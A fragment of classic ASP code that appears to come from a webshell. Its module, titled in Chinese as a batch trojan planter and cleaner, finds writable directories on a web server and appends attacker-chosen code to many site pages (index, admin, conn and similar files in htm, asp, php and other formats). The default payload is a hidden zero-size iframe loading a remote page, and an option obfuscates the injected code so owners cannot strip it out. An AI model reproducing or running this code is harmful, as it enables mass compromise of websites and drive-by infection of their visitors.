isExist=fs.FileExists(str2)
If isExist Then
Set f=fs.GetFile(str2)
Set f_addcode=f.OpenAsTextStream(8,-2)
f_addcode.Write addcode
f_addcode.Close
Set f=Nothing
End If
Set fs=Nothing
End Sub:Err.Clear
Case "Cplgm"
Fpath=Request("fd")
addcode = Request("code")
addcode2 = Request("code2")
pcfile=request("pcfile")
checkbox=request("checkbox")
checkbox1=request("checkbox1")
ShowMsg=request("ShowMsg")
FType=request("FType")
zfile=request("zfile")
M=request("M")
for i= 0 to ubound(split(server.mappath("."),""))
d=split(server.mappath("."),"")
dir=dir&d(i)&""
filename=dir&"dir.txt"
On Error Resume Next
SET FSO=Server.CreateObject("Scripting.FileSystemObject")
SET FR = FSO.CreateTextFile(filename,true)
IF NOT FSO.FileExists(filename) then
else
FR.close
FSO.DeleteFile filename,True
exit for
end if
next
if zfile="" then zfile="default|index|conn|admin|reg|main|vip|qq|mm"
if Ftype="" then Ftype="htm|html|asp|php|jsp|aspx|cgi|cer|asa|cdx"
if Fpath="" then Fpath=Server.MapPath("")
if Fpath="." or Fpath="" then Fpath=dir
if addcode="" then addcode="<iframe src=http://127.0.0.1/m.htm width=0 height=0></iframe>"
if checkbox="" then checkbox=request("checkbox")
if checkbox1="" then checkbox1=request("checkbox1")
if pcfile="" then
pcfileName=Request.ServerVariables("SCRIPT_NAME")
pcfilek=split(pcfileName,"/")
pcfilen=ubound(pcfilek)
pcfile=pcfilek(pcfilen)
end if
if M="1" then BT="批量挂马器-批量挂马"
if M="2" then BT="批量清马器-清除别人的网马"
if M="3" then BT="批量替换器-文件替换修改工具"
if M="4" then BT="指定挂马"
RRS "<form method=POST><TABLE width=80% border=0 align=center cellpadding=3 cellspacing=1 bgColor=#91d70d><TR><TD colspan=2 class=TBHead><B><FONT color=#ff2222>"&BT&"</font></B></TD></TR><tr><td class=TBTD >网站根目录“”：</td><td class=TBTD>"&Server.MapPath("/")&"</td></tr><tr><td class=TBTD >本程序目录“.”：</td><td class=TBTD>"&Server.MapPath(".")&"</td></tr><tr><td class=TBTD width='20%'>文件路径：</td>"
RRS "<td class=TBTD><input type=text name=fd value='"&Fpath&"' size=40><font color=red >==>注意:该路径是最大可写目录(自动判别)</font> </td></tr>"
RRS "<tr><td class=TBTD>是否变形代码：</td><td class=TBTD><input class=c name='checkbox1' checked='checkbox1' type=checkbox value=""checked1"" "&checkbox1&"><font color=red >写入代码时把代码变形以后写入每一个文件（为了防止批量替换掉代码，代码100%正常运行）</font>< /td></tr>"
if M="1" then RRS "<tr><td class=TBTD>过滤重复：</td><td class=TBTD><input class=c name='checkbox' checked='checked' type=checkbox value=""checked"" "&checkbox&"> 防止一个页面中有多个重复的代码</td></tr>"
